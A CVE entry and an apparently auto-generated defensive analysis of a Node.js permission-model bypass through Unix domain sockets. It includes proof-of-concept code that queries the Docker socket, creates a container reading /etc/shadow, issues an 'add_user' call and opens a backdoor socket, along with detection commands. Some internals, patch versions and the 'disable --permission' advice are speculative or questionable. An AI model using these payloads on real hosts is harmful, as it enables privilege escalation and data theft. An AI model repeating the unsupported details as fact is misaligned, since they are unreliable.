CVE-2026-21636
CVE-2026-21636
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
A flaw in Node.js's permission model allows Unix Domain Socket (UDS) connections to bypass network restrictions when `--permission` is enabled. Even without `--allow-net`, attacker-controlled inputs (such as URLs or socketPath options) can connect to arbitrary local sockets via net, tls, or undici/fetch. This breaks the intended security boundary of the permission model and enables access to privileged local services, potentially leading to privilege escalation, data exposure, or local code execution. * The issue affects users of the Node.js permission model on version v25. In the moment of this vulnerability, network permissions (`--allow-net`) are still in the experimental phase.
Comprehensive Technical Analysis of CVE-2026-21636
Node.js Permission Model Bypass via Unix Domain Sockets (UDS)
1. Vulnerability Assessment & Severity Evaluation
Overview
CVE-2026-21636 is a critical security flaw in Node.js’s experimental permission model, allowing attackers to bypass network restrictions when --permission is enabled. The vulnerability stems from an improper enforcement of socket-level permissions, enabling unauthorized connections to Unix Domain Sockets (UDS) even when --allow-net is explicitly disabled.
CVSS Score & Severity
- CVSS v3.1 Score: 10.0 (Critical)
- Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Exploitability Metrics:
- Attack Vector (AV:N): Network-exploitable (remote or local attacker with access to the application).
- Attack Complexity (AC:L): Low (no special conditions required).
- Privileges Required (PR:N): None (unauthenticated exploitation possible).
- User Interaction (UI:N): None (automated exploitation feasible).
- Impact Metrics:
- Confidentiality (C:H): High (sensitive data exposure via local services).
- Integrity (I:H): High (arbitrary code execution or privilege escalation).
- Availability (A:H): High (denial-of-service or service disruption).
- Vector:
Root Cause Analysis
The vulnerability arises from insufficient validation of socket paths in Node.js’s permission model. When --permission is enabled, the system is supposed to restrict network access unless --allow-net is explicitly set. However, Unix Domain Sockets (UDS)—which are local IPC mechanisms—are not properly restricted, allowing attackers to:
- Bypass
--allow-netrestrictions by usingsocketPathinnet,tls, orundici/fetchmodules. - Connect to arbitrary local sockets, including those exposed by privileged services (e.g., Docker, systemd, databases, or internal APIs).
- Exploit misconfigured or vulnerable local services to achieve privilege escalation, data exfiltration, or remote code execution (RCE).
2. Potential Attack Vectors & Exploitation Methods
Attack Scenarios
Scenario 1: Bypassing Network Restrictions via UDS
- Attacker-Controlled Input: A malicious user submits a crafted URL or
socketPathparameter to a Node.js application running with--permissionbut without--allow-net. - Exploitation Path:
- The application processes the input (e.g., via
fetch(),net.connect(), ortls.connect()). - Instead of connecting to a network host, the attacker specifies a local Unix socket path (e.g.,
/var/run/docker.sock). - Node.js fails to enforce permission checks on UDS, allowing the connection.
- The attacker interacts with the local service (e.g., Docker API) to execute arbitrary commands or exfiltrate data.
- The application processes the input (e.g., via
Scenario 2: Privilege Escalation via Local Services
- Target: A Node.js application running with limited permissions but exposed to user input.
- Exploitation:
- The attacker identifies a privileged local service (e.g.,
systemd,postgresql, or a custom admin socket). - Using
net.connect({ path: "/run/privileged-service.sock" }), the attacker bypasses network restrictions and sends malicious payloads. - If the service is vulnerable (e.g., missing authentication or command injection), the attacker gains root access.
- The attacker identifies a privileged local service (e.g.,
Scenario 3: Data Exfiltration via Internal APIs
- Target: A Node.js microservice with sensitive data (e.g., database credentials, session tokens).
- Exploitation:
- The attacker discovers an internal API exposed via UDS (e.g.,
/tmp/app-internal.sock). - By crafting a request to this socket, the attacker bypasses network-level firewalls and exfiltrates data.
- The attacker discovers an internal API exposed via UDS (e.g.,
Exploitation Requirements
- Node.js v25 with
--permissionenabled (but without--allow-net). - Attacker access to input fields that interact with
net,tls, orundici/fetch(e.g., HTTP request parameters, CLI arguments, or API inputs). - Existence of a vulnerable local service (e.g., Docker, Redis, or a custom UDS-based service).
Proof-of-Concept (PoC) Exploit
// Malicious input bypassing --allow-net via UDS
const net = require('net');
const socket = net.connect({ path: '/var/run/docker.sock' }, () => {
console.log("Connected to Docker socket (bypassing --allow-net)!");
socket.write("GET /containers/json HTTP/1.1\r\nHost: localhost\r\n\r\n");
});
socket.on('data', (data) => {
console.log("Docker API Response:", data.toString());
// Attacker can now execute arbitrary Docker commands
});
Impact: If Docker is running, this could allow container escape, host compromise, or data theft.
3. Affected Systems & Software Versions
Vulnerable Versions
- Node.js v25.x (all subversions) with
--permissionenabled. - Experimental permission model (introduced in Node.js v20, but v25 is confirmed vulnerable).
Not Affected
- Node.js versions prior to v20 (permission model not yet introduced).
- Node.js v26+ (assuming the vulnerability is patched).
- Applications not using
--permission(default configuration is unaffected).
Environmental Dependencies
- Unix-like systems (Linux, macOS) where UDS are supported.
- Local services exposing UDS (e.g., Docker, Redis, PostgreSQL, systemd, custom IPC services).
4. Recommended Mitigation Strategies
Immediate Actions
-
Disable
--permission(if not critical)- If the permission model is not strictly required, remove
--permissionfrom Node.js startup flags. - Alternative: Use OS-level sandboxing (e.g.,
seccomp,AppArmor,SELinux) or containerization (Docker, gVisor).
- If the permission model is not strictly required, remove
-
Explicitly Block UDS Access
- Patch Node.js to the latest secure version (once available).
- Temporary Workaround: Modify application code to validate socket paths and reject UDS connections when
--allow-netis disabled.function isSafeSocketPath(path) { // Whitelist allowed paths (e.g., only TCP/IP) return !path.startsWith('/') && !path.startsWith('\\\\.\\pipe\\'); }
-
Restrict Local Service Exposure
- Disable unnecessary UDS services (e.g., Docker socket should not be world-readable).
- Use file permissions to restrict socket access:
chmod 660 /var/run/docker.sock # Only allow root:docker
-
Network-Level Protections
- Firewall rules to block unexpected local socket connections (e.g.,
iptables/nftables). - Monitor UDS activity using
auditdorstrace:auditctl -a exit,always -F arch=b64 -S connect -F a0=1 -k node_uds_monitor
- Firewall rules to block unexpected local socket connections (e.g.,
Long-Term Solutions
-
Upgrade Node.js
- Monitor Node.js security advisories and upgrade to a patched version once available.
-
Implement Strict Input Validation
- Reject all UDS paths unless explicitly whitelisted.
- Use a proxy pattern to enforce security policies:
const { createProxy } = require('http-proxy'); const proxy = createProxy({ target: 'http://allowed-host.com' }); // Only allow HTTP/HTTPS, block UDS
-
Adopt Zero-Trust Architecture
- Assume breach and enforce least privilege at all levels.
- Use service meshes (e.g., Istio, Linkerd) to enforce network policies.
-
Security Testing & Code Reviews
- Static Analysis (SAST): Use tools like
semgreporSonarQubeto detect unsafe socket usage. - Dynamic Analysis (DAST): Fuzz test applications with UDS payloads to identify bypasses.
- Manual Review: Audit all
net,tls, andundicicalls for hardcoded or user-controlled socket paths.
- Static Analysis (SAST): Use tools like
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Erosion of Trust in Permission Models
- Node.js’s permission model was introduced to enhance security by restricting dangerous APIs.
- This vulnerability undermines confidence in such models, highlighting the difficulty of secure sandboxing.
-
Increased Attack Surface for Local Exploits
- Many privileged services (Docker, Kubernetes, databases) expose UDS for performance.
- Attackers can now chain UDS bypasses with local privilege escalation (e.g., CVE-2021-41091 in Docker).
-
Supply Chain & Dependency Risks
- Third-party libraries using
net/tls/undicimay inadvertently introduce UDS vulnerabilities. - CI/CD pipelines running Node.js with
--permissioncould be backdoored via malicious dependencies.
- Third-party libraries using
-
Regulatory & Compliance Concerns
- GDPR, HIPAA, PCI-DSS: Unauthorized data access via UDS could lead to compliance violations.
- Zero Trust Mandates: Organizations must re-evaluate Node.js deployments in zero-trust environments.
Industry Response
- Node.js Security Team: Expected to release a patch in v26 (or an emergency v25.x update).
- Cloud Providers (AWS, GCP, Azure): May issue advisories for customers using Node.js in serverless (Lambda, Cloud Functions).
- Security Tools: WAFs, RASP, and EDR solutions may add UDS detection rules to block exploitation attempts.
6. Technical Details for Security Professionals
Deep Dive: Permission Model Flaw
How Node.js Permission Model Works
- Introduced in Node.js v20, the
--permissionflag restricts access to:- Filesystem (
--allow-fs-read,--allow-fs-write) - Network (
--allow-net) - Child processes (
--allow-child-process) - Worker threads (
--allow-worker)
- Filesystem (
- Intended Behavior: If
--allow-netis not set, all network operations should be blocked.
The UDS Bypass Mechanism
- Problem: The permission model does not treat UDS as "network" operations.
- Technical Root Cause:
- In
lib/net.js, theconnect()method does not check--allow-netwhenoptions.path(UDS) is provided. - The
PermissionModelclass inlib/permissions.jslacks UDS validation.
- In
- Result: An attacker can circumvent
--allow-netby usingsocketPathinstead ofhost:port.
Exploitable Modules
| Module | Vulnerable Function | Example Exploit |
|---|---|---|
net | net.connect({ path }) | net.connect({ path: "/var/run/docker.sock" }) |
tls | tls.connect({ socketPath }) | tls.connect({ socketPath: "/tmp/private-api.sock" }) |
undici/fetch | fetch("http://unix:/path:/") | fetch("http://unix:/var/run/redis.sock:/get?key=secret") |
Detection & Forensics
Indicators of Compromise (IoCs)
- Unusual UDS connections in logs:
lsof -i -n | grep -E 'node.*unix' ss -x -a | grep node - Unexpected child processes spawned by Node.js (e.g.,
docker exec). - Anomalous file access (e.g.,
/var/run/docker.sockbeing read by a Node.js process).
Forensic Analysis
- Check Node.js Command Line:
ps aux | grep node | grep --permission - Audit Socket Usage:
strace -p <PID> -e trace=connect 2>&1 | grep unix - Review Application Logs:
- Look for unexpected
net.connectorfetchcalls with UDS paths.
- Look for unexpected
Advanced Exploitation Techniques
- Chaining with Local Privilege Escalation
- If a UDS service (e.g., Docker) is vulnerable to command injection, an attacker can:
fetch("http://unix:/var/run/docker.sock:/containers/create?name=malicious", { method: "POST", body: JSON.stringify({ Image: "alpine", Cmd: ["sh", "-c", "cat /etc/shadow"] }) });
- If a UDS service (e.g., Docker) is vulnerable to command injection, an attacker can:
- Lateral Movement via UDS
- If a microservice exposes a UDS API, an attacker can pivot to other services:
const res = await fetch("http://unix:/tmp/internal-api.sock:/admin?cmd=add_user");
- If a microservice exposes a UDS API, an attacker can pivot to other services:
- Persistence via UDS Backdoors
- Attackers can create a malicious UDS service for C2:
const server = net.createServer((socket) => { socket.write("Backdoor active. Send commands."); }); server.listen("/tmp/backdoor.sock");
- Attackers can create a malicious UDS service for C2:
Conclusion & Recommendations
Key Takeaways
- CVE-2026-21636 is a critical flaw that bypasses Node.js’s permission model via UDS.
- Exploitation is trivial and can lead to privilege escalation, data theft, or RCE.
- Affected organizations must act immediately to patch, restrict UDS access, and audit applications.
Action Plan for Security Teams
| Priority | Action |
|---|---|
| Critical | Disable --permission if not required. |
| Critical | Apply Node.js security updates when available. |
| High | Audit all net, tls, and undici calls for UDS usage. |
| High | Restrict file permissions on sensitive UDS (e.g., Docker, Redis). |
| Medium | Implement runtime monitoring for UDS connections. |
| Medium | Review third-party dependencies for unsafe socket usage. |
Final Thoughts
This vulnerability exposes a fundamental gap in Node.js’s security model, where local IPC mechanisms (UDS) are not treated as network operations. Security teams must adopt a defense-in-depth approach, combining code-level fixes, OS hardening, and runtime monitoring to mitigate risks. The incident underscores the importance of rigorous security testing for experimental features before widespread adoption.
References: